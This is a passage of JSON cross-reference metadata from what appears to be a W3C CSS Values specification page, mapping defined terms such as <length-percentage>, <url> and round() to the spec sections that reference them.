Modifiers"},{"refs":[{"id":"ref-for-comb-one\u2462\u2466"},{"id":"ref-for-comb-one\u2462\u2467"},{"id":"ref-for-comb-one\u2462\u2468"},{"id":"ref-for-comb-one\u2463\u24ea"},{"id":"ref-for-comb-one\u2463\u2460"},{"id":"ref-for-comb-one\u2463\u2461"},{"id":"ref-for-comb-one\u2463\u2462"},{"id":"ref-for-comb-one\u2463\u2463"},{"id":"ref-for-comb-one\u2463\u2464"},{"id":"ref-for-comb-one\u2463\u2465"},{"id":"ref-for-comb-one\u2463\u2466"},{"id":"ref-for-comb-one\u2463\u2467"},{"id":"ref-for-comb-one\u2463\u2468"},{"id":"ref-for-comb-one\u2464\u24ea"},{"id":"ref-for-comb-one\u2464\u2460"},{"id":"ref-for-comb-one\u2464\u2461"},{"id":"ref-for-comb-one\u2464\u2462"},{"id":"ref-for-comb-one\u2464\u2463"},{"id":"ref-for-comb-one\u2464\u2464"},{"id":"ref-for-comb-one\u2464\u2465"},{"id":"ref-for-comb-one\u2464\u2466"},{"id":"ref-for-comb-one\u2464\u2467"},{"id":"ref-for-comb-one\u2464\u2468"},{"id":"ref-for-comb-one\u2465\u24ea"},{"id":"ref-for-comb-one\u2465\u2460"},{"id":"ref-for-comb-one\u2465\u2461"},{"id":"ref-for-comb-one\u2465\u2462"},{"id":"ref-for-comb-one\u2465\u2463"},{"id":"ref-for-comb-one\u2465\u2464"},{"id":"ref-for-comb-one\u2465\u2465"},{"id":"ref-for-comb-one\u2465\u2466"},{"id":"ref-for-comb-one\u2465\u2467"},{"id":"ref-for-comb-one\u2465\u2468"},{"id":"ref-for-comb-one\u2466\u24ea"},{"id":"ref-for-comb-one\u2466\u2460"},{"id":"ref-for-comb-one\u2466\u2461"},{"id":"ref-for-comb-one\u2466\u2462"},{"id":"ref-for-comb-one\u2466\u2463"},{"id":"ref-for-comb-one\u2466\u2464"},{"id":"ref-for-comb-one\u2466\u2465"},{"id":"ref-for-comb-one\u2466\u2466"},{"id":"ref-for-comb-one\u2466\u2467"},{"id":"ref-for-comb-one\u2466\u2468"},{"id":"ref-for-comb-one\u2467\u24ea"},{"id":"ref-for-comb-one\u2467\u2460"},{"id":"ref-for-comb-one\u2467\u2461"},{"id":"ref-for-comb-one\u2467\u2462"},{"id":"ref-for-comb-one\u2467\u2463"},{"id":"ref-for-comb-one\u2467\u2464"},{"id":"ref-for-comb-one\u2467\u2465"},{"id":"ref-for-comb-one\u2467\u2466"},{"id":"ref-for-comb-one\u2467\u2467"},{"id":"ref-for-comb-one\u2467\u2468"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-comb-one\u2468\u24ea"},{"id":"ref-for-comb-one\u2468\u2460"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-comb-one\u2468\u2461"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-comb-one\u2468\u2462"},{"id":"ref-for-comb-one\u2468\u2463"},{"id":"ref-for-comb-one\u2468\u2464"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-comb-one\u2468\u2465"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"},{"refs":[{"id":"ref-for-comb-one\u2468\u2466"},{"id":"ref-for-comb-one\u2468\u2467"},{"id":"ref-for-comb-one\u2468\u2468"},{"id":"ref-for-comb-one\u2460\u24ea\u24ea"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-comb-one\u2460\u24ea\u2460"},{"id":"ref-for-comb-one\u2460\u24ea\u2461"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-comb-one\u2460\u24ea\u2462"},{"id":"ref-for-comb-one\u2460\u24ea\u2463"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-comb-one\u2460\u24ea\u2464"},{"id":"ref-for-comb-one\u2460\u24ea\u2465"},{"id":"ref-for-comb-one\u2460\u24ea\u2466"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-comb-one\u2460\u24ea\u2467"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"https://www.w3.org/TR/css-values-4/#comb-one"}, "4f9427f1": {"dfnID":"4f9427f1","dfnText":"round()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-round"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#funcdef-round"}, "4fd7e54f": {"dfnID":"4fd7e54f","dfnText":"<length-percentage>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-length-percentage"},{"id":"ref-for-typedef-length-percentage\u2460"},{"id":"ref-for-typedef-length-percentage\u2461"},{"id":"ref-for-typedef-length-percentage\u2462"},{"id":"ref-for-typedef-length-percentage\u2463"},{"id":"ref-for-typedef-length-percentage\u2464"},{"id":"ref-for-typedef-length-percentage\u2465"},{"id":"ref-for-typedef-length-percentage\u2466"},{"id":"ref-for-typedef-length-percentage\u2467"},{"id":"ref-for-typedef-length-percentage\u2468"},{"id":"ref-for-typedef-length-percentage\u2460\u24ea"},{"id":"ref-for-typedef-length-percentage\u2460\u2460"},{"id":"ref-for-typedef-length-percentage\u2460\u2461"},{"id":"ref-for-typedef-length-percentage\u2460\u2462"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-typedef-length-percentage\u2460\u2463"},{"id":"ref-for-typedef-length-percentage\u2460\u2464"},{"id":"ref-for-typedef-length-percentage\u2460\u2465"}],"title":"4.2.2. \nSerializing <position>"},{"refs":[{"id":"ref-for-typedef-length-percentage\u2460\u2466"},{"id":"ref-for-typedef-length-percentage\u2460\u2467"}],"title":"4.2.3. \nCombination of <position>"},{"refs":[{"id":"ref-for-typedef-length-percentage\u2460\u2468"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-typedef-length-percentage\u2461\u24ea"},{"id":"ref-for-typedef-length-percentage\u2461\u2460"}],"title":"10.3. \nInterpolating calc-size()"},{"refs":[{"id":"ref-for-typedef-length-percentage\u2461\u2461"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-length-percentage"}, "503c5c26": {"dfnID":"503c5c26","dfnText":"used value","external":true,"refSections":[{"refs":[{"id":"ref-for-used-value"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-used-value\u2460"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-used-value\u2461"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-used-value\u2462"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-used-value\u2463"},{"id":"ref-for-used-value\u2464"},{"id":"ref-for-used-value\u2465"},{"id":"ref-for-used-value\u2466"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-used-value\u2467"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/CSS21/cascade.html#used-value"}, "51ba8407": {"dfnID":"51ba8407","dfnText":"<dimension>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-dimension"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-typedef-dimension\u2460"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-typedef-dimension\u2461"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-dimension"}, "55213b5b": {"dfnID":"55213b5b","dfnText":"request","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-request"},{"id":"ref-for-concept-request\u2460"},{"id":"ref-for-concept-request\u2461"},{"id":"ref-for-concept-request\u2462"},{"id":"ref-for-concept-request\u2463"},{"id":"ref-for-concept-request\u2464"},{"id":"ref-for-concept-request\u2465"},{"id":"ref-for-concept-request\u2466"},{"id":"ref-for-concept-request\u2467"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://fetch.spec.whatwg.org/#concept-request"}, "5550667d": {"dfnID":"5550667d","dfnText":"custom property","external":true,"refSections":[{"refs":[{"id":"ref-for-custom-property"}],"title":"7.5. \nCustom Property References: the var() notation"},{"refs":[{"id":"ref-for-custom-property\u2460"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-custom-property\u2461"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-custom-property\u2462"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-custom-property\u2463"},{"id":"ref-for-custom-property\u2464"},{"id":"ref-for-custom-property\u2465"}],"title":"7.7.3. \nCycles"},{"refs":[{"id":"ref-for-custom-property\u2466"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-custom-property\u2467"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-custom-property\u2468"},{"id":"ref-for-custom-property\u2460\u24ea"}],"title":"\nInvalid Substitution"}],"url":"https://www.w3.org/TR/css-variables-1/#custom-property"}, "56386e0d": {"dfnID":"56386e0d","dfnText":"<boolean-expr[]>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-boolean-expr"}],"title":"3. \nValue Definition Syntax"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2461"},{"id":"ref-for-typedef-boolean-expr\u2463"},{"id":"ref-for-typedef-boolean-expr\u2464"},{"id":"ref-for-typedef-boolean-expr\u2465"},{"id":"ref-for-typedef-boolean-expr\u2466"},{"id":"ref-for-typedef-boolean-expr\u2467"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2460\u24ea"},{"id":"ref-for-typedef-boolean-expr\u2460\u2460"}],"title":"\nAppendix B: Boolean Logic"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2460\u2461"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2460\u2462"}],"title":"\nAdditions Since Level 4"}],"url":"https://www.w3.org/TR/css-values-5/#typedef-boolean-expr"}, "598f7b8c": {"dfnID":"598f7b8c","dfnText":"counter()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-counter"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/css-lists-3/#funcdef-counter"}, "599428b5": {"dfnID":"599428b5","dfnText":"block-axis","external":true,"refSections":[{"refs":[{"id":"ref-for-block-axis"},{"id":"ref-for-block-axis\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-block-axis\u2461"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#block-axis"}, "5ad01cca": {"dfnID":"5ad01cca","dfnText":"height","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-height"},{"id":"ref-for-propdef-height\u2460"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-propdef-height\u2461"},{"id":"ref-for-propdef-height\u2462"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-propdef-height\u2463"},{"id":"ref-for-propdef-height\u2464"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"https://www.w3.org/TR/css-sizing-3/#propdef-height"}, "5bd2d516": {"dfnID":"5bd2d516","dfnText":"none","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-animation-timeline-none"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-none"}, "5c96d703": {"dfnID":"5c96d703","dfnText":"background-image","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-background-image"},{"id":"ref-for-propdef-background-image\u2460"},{"id":"ref-for-propdef-background-image\u2461"},{"id":"ref-for-propdef-background-image\u2462"}],"title":"7.7.2. \nSecurity"}],"url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-image"}, "5cc939b8": {"dfnID":"5cc939b8","dfnText":"<media-query>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-media-query"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/mediaqueries-5/#typedef-media-query"}, "61bb5e44": {"dfnID":"61bb5e44","dfnText":"<number>","external":true,"refSections":[{"refs":[{"id":"ref-for-number-value"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-number-value\u2460"},{"id":"ref-for-number-value\u2461"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-number-value\u2462"},{"id":"ref-for-number-value\u2463"},{"id":"ref-for-number-value\u2464"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-number-value\u2465"},{"id":"ref-for-number-value\u2466"},{"id":"ref-for-number-value\u2467"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-number-value\u2468"},{"id":"ref-for-number-value\u2460\u24ea"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-number-value\u2460\u2460"},{"id":"ref-for-number-value\u2460\u2461"},{"id":"ref-for-number-value\u2460\u2462"},{"id":"ref-for-number-value\u2460\u2463"},{"id":"ref-for-number-value\u2460\u2464"},{"id":"ref-for-number-value\u2460\u2465"},{"id":"ref-for-number-value\u2460\u2466"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-number-value\u2460\u2467"},{"id":"ref-for-number-value\u2460\u2468"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-number-value\u2461\u24ea"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#number-value"}, "640e68b1": {"dfnID":"640e68b1","dfnText":"initial value","external":true,"refSections":[{"refs":[{"id":"ref-for-x1\u2460"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/CSS21/cascade.html#x1"}, "64732706": {"dfnID":"64732706","dfnText":"@property","external":true,"refSections":[{"refs":[{"id":"ref-for-at-ruledef-property"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#at-ruledef-property"}, "649608b9": {"dfnID":"649608b9","dfnText":"list","external":true,"refSections":[{"refs":[{"id":"ref-for-list"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-list\u2460"}],"title":"3.3.1. \nParsing as <syntax>"}],"url":"https://infra.spec.whatwg.org/#list"}, "655c9867": {"dfnID":"655c9867","dfnText":"consistent type","external":true,"refSections":[{"refs":[{"id":"ref-for-css-consistent-type"},{"id":"ref-for-css-consistent-type\u2460"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-css-consistent-type\u2461"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-css-consistent-type\u2462"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-css-consistent-type\u2463"},{"id":"ref-for-css-consistent-type\u2464"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"}],"url":"https://www.w3.org/TR/css-values-4/#css-consistent-type"}, "6697014f": {"dfnID":"6697014f","dfnText":"type","external":true,"refSections":[{"refs":[{"id":"ref-for-cssnumericvalue-type"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-cssnumericvalue-type\u2460"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-type"}, "66af6246": {"dfnID":"66af6246","dfnText":"y-axis","external":true,"refSections":[{"refs":[{"id":"ref-for-y-axis"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#y-axis"}, "66f218c1": {"dfnID":"66f218c1","dfnText":"definite","external":true,"refSections":[{"refs":[{"id":"ref-for-definite"},{"id":"ref-for-definite\u2460"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-definite\u2461"},{"id":"ref-for-definite\u2462"},{"id":"ref-for-definite\u2463"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-definite\u2464"},{"id":"ref-for-definite\u2465"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"https://www.w3.org/TR/css-sizing-3/#definite"}, "67800454": {"dfnID":"67800454","dfnText":"parse","external":true,"refSections":[{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar"},{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2461"},{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2462"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2463"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar"}, "67fd880f": {"dfnID":"67fd880f","dfnText":"background-color","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-background-color"},{"id":"ref-for-propdef-background-color\u2460"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-propdef-background-color\u2461"},{"id":"ref-for-propdef-background-color\u2462"},{"id":"ref-for-propdef-background-color\u2463"}],"title":"\nInvalid Substitution"}],"url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-color"}, "699488a8": {"dfnID":"699488a8","dfnText":"<url>","external":true,"refSections":[{"refs":[{"id":"ref-for-url-value"}],"title":"4.1. \nResource Locators: the <url> type"},{"refs":[{"id":"ref-for-url-value\u2460"},{"id":"ref-for-url-value\u2461"}],"title":"4.1.1. \nRequest URL Modifiers"},{"refs":[{"id":"ref-for-url-value\u2462"},{"id":"ref-for-url-value\u2463"},{"id":"ref-for-url-value\u2464"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-url-value\u2465"}],"title":"\nAdditions Since Level 4"},{"refs":[{"id":"ref-for-url-value\u2466"}],"title":"\nSecurity Considerations"}],"url":"https://www.w3.org/TR/css-values-4/#url-value"}, "6cfa013d": {"dfnID":"6cfa013d","dfnText":"link","external":true,"refSections":[{"refs":[{"id":"ref-for-the-link-element"}],"title":"\nSecurity Considerations"}],"url":"https://html.spec.whatwg.org/multipage/semantics.html#the-link-element"}, "6dbced85": {"dfnID":"6dbced85","dfnText":"simplify a calculation tree","external":true,"refSections":[{"refs":[{"id":"ref-for-simplify-a-calculation-tree"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#simplify-a-calculation-tree"}, "6de68a57": {"dfnID":"6de68a57","dfnText":"view-timeline-name","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-view-timeline-name"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"https://www.w3.org/TR/scroll-animations-1/#propdef-view-timeline-name"}, "6facc447": {"dfnID":"6facc447","dfnText":"determine the type of a calculation","external":true,"refSections":[{"refs":[{"id":"ref-for-determine-the-type-of-a-calculation"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#determine-the-type-of-a-calculation"}, "7177b17d": {"dfnID":"7177b17d","dfnText":"@keyframes","external":true,"refSections":[{"refs":[{"id":"ref-for-at-ruledef-keyframes"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"}],"url":"https://www.w3.org/TR/css-animations-1/#at-ruledef-keyframes"}, "72b95752": {"dfnID":"72b95752","dfnText":"<url-modifier>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-url-modifier"}],"title":"4.1.1. \nRequest URL Modifiers"},{"refs":[{"id":"ref-for-typedef-url-modifier\u2460"}],"title":"\nAdditions Since Level 4"}],"url":"https://www.w3.org/TR/css-values-4/#typedef-url-modifier"}, "762bad34": {"dfnID":"762bad34","dfnText":"initial","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-all-initial"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-initial"}, "76b6d2eb": {"dfnID":"76b6d2eb","dfnText":"<transform-list>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-transform-list"},{"id":"ref-for-typedef-transform-list\u2460"},{"id":"ref-for-typedef-transform-list\u2461"},{"id":"ref-for-typedef-transform-list\u2462"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"}],"url":"https://www.w3.org/TR/css-transforms-1/#typedef-transform-list"}, "78b42167": {"dfnID":"78b42167","dfnText":"<container-name>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-container-name"},{"id":"ref-for-typedef-container-name\u2460"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#typedef-container-name"}, "7a34d6ba": {"dfnID":"7a34d6ba","dfnText":"<keyframes-name>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-keyframes-name"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"https://www.w3.org/TR/css-animations-1/#typedef-keyframes-name"}, "7aaa7c88": {"dfnID":"7aaa7c88","dfnText":"<time>","external":true,"refSections":[{"refs":[{"id":"ref-for-time-value"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"}],"url":"https://www.w3.org/TR/css-values-4/#time-value"}, "7b5d8638": {"dfnID":"7b5d8638","dfnText":"originating element","external":true,"refSections":[{"refs":[{"id":"ref-for-originating-element"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-originating-element\u2460"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"https://www.w3.org/TR/selectors-4/#originating-element"}, "7c39b465": {"dfnID":"7c39b465","dfnText":"unset","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-all-unset"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-valdef-all-unset\u2460"}],"title":"\nInvalid Substitution"}],"url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-unset"}, "7e1633df": {"dfnID":"7e1633df","dfnText":"universal syntax definition","external":true,"refSections":[{"refs":[{"id":"ref-for-universal-syntax-definition"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-universal-syntax-definition\u2460"}],"title":"\nInvalid Substitution"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#universal-syntax-definition"}, "7f9469b5": {"dfnID":"7f9469b5","dfnText":"ASCII case-insensitive","external":true,"refSections":[{"refs":[{"id":"ref-for-ascii-case-insensitive"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://infra.spec.whatwg.org/#ascii-case-insensitive"}, "81967444": {"dfnID":"81967444","dfnText":"attribute selector","external":true,"refSections":[{"refs":[{"id":"ref-for-attribute-selector"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/selectors-4/#attribute-selector"}, "82ddda8c": {"dfnID":"82ddda8c","dfnText":"inline-axis","external":true,"refSections":[{"refs":[{"id":"ref-for-inline-axis"},{"id":"ref-for-inline-axis\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-inline-axis\u2461"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#inline-axis"}, "8574256a": {"dfnID":"8574256a","dfnText":"<size-feature>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-size-feature"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#typedef-size-feature"}, "8a110a7b": {"dfnID":"8a110a7b","dfnText":"CSS-wide keywords","external":true,"refSections":[{"refs":[{"id":"ref-for-css-wide-keywords"}],"title":"7.1. \nRepresenting An Entire Property Value: the <whole-value> type"},{"refs":[{"id":"ref-for-css-wide-keywords\u2460"},{"id":"ref-for-css-wide-keywords\u2461"},{"id":"ref-for-css-wide-keywords\u2462"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-values-4/#css-wide-keywords"}, "8a490d77": {"dfnID":"8a490d77","dfnText":"not","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-media-not"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"}],"url":"https://www.w3.org/TR/mediaqueries-5/#valdef-media-not"}, "8a73a2e3": {"dfnID":"8a73a2e3","dfnText":"<percentage-token>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-percentage-token"},{"id":"ref-for-typedef-percentage-token\u2460"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-typedef-percentage-token\u2461"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token"}, "8bfedfd3": {"dfnID":"8bfedfd3","dfnText":"<cf-image>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-cf-image"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"}],"url":"https://www.w3.org/TR/css-images-4/#typedef-cf-image"}, "8cbc2b3b": {"dfnID":"8cbc2b3b","dfnText":"{A}","external":true,"refSections":[{"refs":[{"id":"ref-for-mult-num"},{"id":"ref-for-mult-num\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-values-4/#mult-num"}, "8cd4f032": {"dfnID":"8cd4f032","dfnText":",","external":true,"refSections":[{"refs":[{"id":"ref-for-comb-comma"},{"id":"ref-for-comb-comma\u2460"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-comb-comma\u2461"},{"id":"ref-for-comb-comma\u2462"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-comb-comma\u2463"},{"id":"ref-for-comb-comma\u2464"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-comb-comma\u2465"},{"id":"ref-for-comb-comma\u2466"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-comb-comma\u2467"},{"id":"ref-for-comb-comma\u2468"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-comb-comma\u2460\u24ea"},{"id":"ref-for-comb-comma\u2460\u2460"},{"id":"ref-for-comb-comma\u2460\u2461"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-comb-comma\u2460\u2462"},{"id":"ref-for-comb-comma\u2460\u2463"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-comb-comma\u2460\u2464"},{"id":"ref-for-comb-comma\u2460\u2465"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-comb-comma\u2460\u2466"},{"id":"ref-for-comb-comma\u2460\u2467"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"},{"refs":[{"id":"ref-for-comb-comma\u2460\u2468"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-comb-comma\u2461\u24ea"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-comb-comma\u2461\u2460"},{"id":"ref-for-comb-comma\u2461\u2461"},{"id":"ref-for-comb-comma\u2461\u2462"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-comb-comma\u2461\u2463"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-comb-comma\u2461\u2464"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/css-values-4/#comb-comma"}, "8cdc912e": {"dfnID":"8cdc912e","dfnText":"max-content","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-width-max-content"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-max-content"}, "8d27d874": {"dfnID":"8d27d874","dfnText":"<color-interpolation-method>","external":true,"refSections":[{"refs":[{"id":"ref-for-color-interpolation-method"},{"id":"ref-for-color-interpolation-method\u2460"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"}],"url":"https://www.w3.org/TR/css-color-5/#color-interpolation-method"}, "8e531c37": {"dfnID":"8e531c37","dfnText":"background-position","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-background-position\u2466"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"https://drafts.csswg.org/css2/#propdef-background-position"}, "8f27be0f": {"dfnID":"8f27be0f","dfnText":"longhand 